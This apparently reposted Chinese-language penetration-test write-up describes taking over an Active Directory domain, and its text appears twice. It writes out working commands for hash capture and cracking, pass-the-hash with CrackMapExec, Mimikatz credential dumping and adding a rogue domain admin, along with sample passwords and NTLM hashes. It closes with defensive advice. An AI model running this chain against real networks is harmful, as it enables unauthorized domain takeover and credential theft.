从外部Active Directory获取域管理员
字数 1804 2025-08-18 11:37:07

从外部Active Directory获取域管理员权限的渗透测试方法

概述

本文详细记录了一次通过外部Active Directory环境获取域管理员(Domain Admin)权限的完整渗透测试过程。测试者从初始访问开始,逐步提升权限,最终获得域控制器的完全控制权。

初始信息收集

  1. 工具选择:首先使用Responder工具尝试捕获本地子网上的LLMNR或NetBIOS请求中的Windows散列
  2. 环境限制:发现管理员已禁用LLMNR和NetBIOS请求
  3. 意外收获:仍捕获到主机172.16.157.133发送的FRONTDESK账户的NETNTLMv2哈希值

哈希分析与破解

  1. 哈希类型识别

    • 使用Crack Map Exec(CME)检查NetBIOS信息
    • 确认格式为:[SMBv2] NTLMv2-SSP Username : 2-FD-87622\FRONTDESK
  2. 哈希破解

    • 使用Hashcat进行破解
    • 命令:hashcat -m 5600 responder /usr/share/wordlists/rockyou.txt -r /usr/share/rules/d3adhob0.rule
    • 成功破解出明文密码:Winter2018!

本地权限提升

  1. 验证凭据

    • 使用CME验证破解的凭据
    • 命令:cme smb 172.16.157.133 -u FRONTDESK -p 'Winter2018!' --local-auth
    • 结果显示"Pwn3d!",确认是本地管理员账户
  2. 获取本地哈希

    • 使用CME dump本地SAM哈希
    • 命令:cme smb 172.16.157.133 -u FRONTDESK -p 'Winter2018!' --local-auth --sam
    • 获取到NTLM哈希:aad3b435b51404eeaad3b435b51404ee:eb6538aa406cfad09403d3bb1f94785f

横向移动

  1. 哈希传递攻击

    • 使用获取的本地管理员哈希尝试访问其他主机
    • 命令:cme smb 172.16.157.0/24 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:5509de4ff0a6eed7048d9f4a61100e51' --local-auth
  2. 发现域成员

    • 发现STEWIE机器使用相同密码
    • 确认该主机属于MACFARLANE域

域权限提升

  1. 获取域访问

    • 使用Metasploit PsExec模块传递NTLM哈希登录目标机器
    • 成功获取shell
  2. 使用Mimikatz

    • 加载Mimikatz模块读取Windows内存
    • 成功获取域管理员(DA)账户凭据

最终控制

  1. 添加域管理员

    • 使用CME在域控制器上执行命令
    • 命令:cme smb 172.16.157.135 -u administrator -p 'October17' -x 'net user markitzeroda hackersPassword! /add /domain /y && net group "domain admins" markitzeroda /add'
    • /y参数允许添加长度大于14字符的密码
  2. 获取证据

    • 成功进入域控制器远程桌面
    • 截图作为渗透成功的证据

防御建议

  1. 禁用LLMNR:在组策略中禁用LLMNR,防止攻击者获取初始访问权限
  2. 使用LAPS:实施Microsoft的本地管理员密码解决方案(LAPS)管理本地管理员密码
  3. 设置FilterAdministratorToken:防止本地RID 500账户进行SMB登录
  4. 密码策略:避免在域内外使用相同的本地管理员密码

关键工具总结

  1. Responder:用于捕获网络认证哈希
  2. Hashcat:用于破解哈希
  3. CrackMapExec (CME):用于SMB扫描和命令执行
  4. Metasploit:用于获取shell和加载Mimikatz
  5. Mimikatz:用于从内存提取凭据

攻击链总结

  1. 捕获NETNTLMv2哈希 → 2. 破解哈希 → 3. 获取本地管理员权限 → 4. Dump本地哈希 → 5. 哈希传递攻击 → 6. 发现域成员 → 7. 获取域凭据 → 8. 控制域控制器
从外部Active Directory获取域管理员权限的渗透测试方法 概述 本文详细记录了一次通过外部Active Directory环境获取域管理员(Domain Admin)权限的完整渗透测试过程。测试者从初始访问开始,逐步提升权限,最终获得域控制器的完全控制权。 初始信息收集 工具选择 :首先使用Responder工具尝试捕获本地子网上的LLMNR或NetBIOS请求中的Windows散列 环境限制 :发现管理员已禁用LLMNR和NetBIOS请求 意外收获 :仍捕获到主机172.16.157.133发送的FRONTDESK账户的NETNTLMv2哈希值 哈希分析与破解 哈希类型识别 : 使用Crack Map Exec(CME)检查NetBIOS信息 确认格式为: [SMBv2] NTLMv2-SSP Username : 2-FD-87622\FRONTDESK 哈希破解 : 使用Hashcat进行破解 命令: hashcat -m 5600 responder /usr/share/wordlists/rockyou.txt -r /usr/share/rules/d3adhob0.rule 成功破解出明文密码: Winter2018! 本地权限提升 验证凭据 : 使用CME验证破解的凭据 命令: cme smb 172.16.157.133 -u FRONTDESK -p 'Winter2018!' --local-auth 结果显示"Pwn3d !",确认是本地管理员账户 获取本地哈希 : 使用CME dump本地SAM哈希 命令: cme smb 172.16.157.133 -u FRONTDESK -p 'Winter2018!' --local-auth --sam 获取到NTLM哈希: aad3b435b51404eeaad3b435b51404ee:eb6538aa406cfad09403d3bb1f94785f 横向移动 哈希传递攻击 : 使用获取的本地管理员哈希尝试访问其他主机 命令: cme smb 172.16.157.0/24 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:5509de4ff0a6eed7048d9f4a61100e51' --local-auth 发现域成员 : 发现STEWIE机器使用相同密码 确认该主机属于MACFARLANE域 域权限提升 获取域访问 : 使用Metasploit PsExec模块传递NTLM哈希登录目标机器 成功获取shell 使用Mimikatz : 加载Mimikatz模块读取Windows内存 成功获取域管理员(DA)账户凭据 最终控制 添加域管理员 : 使用CME在域控制器上执行命令 命令: cme smb 172.16.157.135 -u administrator -p 'October17' -x 'net user markitzeroda hackersPassword! /add /domain /y && net group "domain admins" markitzeroda /add' /y 参数允许添加长度大于14字符的密码 获取证据 : 成功进入域控制器远程桌面 截图作为渗透成功的证据 防御建议 禁用LLMNR :在组策略中禁用LLMNR,防止攻击者获取初始访问权限 使用LAPS :实施Microsoft的本地管理员密码解决方案(LAPS)管理本地管理员密码 设置FilterAdministratorToken :防止本地RID 500账户进行SMB登录 密码策略 :避免在域内外使用相同的本地管理员密码 关键工具总结 Responder :用于捕获网络认证哈希 Hashcat :用于破解哈希 CrackMapExec (CME) :用于SMB扫描和命令执行 Metasploit :用于获取shell和加载Mimikatz Mimikatz :用于从内存提取凭据 攻击链总结 捕获NETNTLMv2哈希 → 2. 破解哈希 → 3. 获取本地管理员权限 → 4. Dump本地哈希 → 5. 哈希传递攻击 → 6. 发现域成员 → 7. 获取域凭据 → 8. 控制域控制器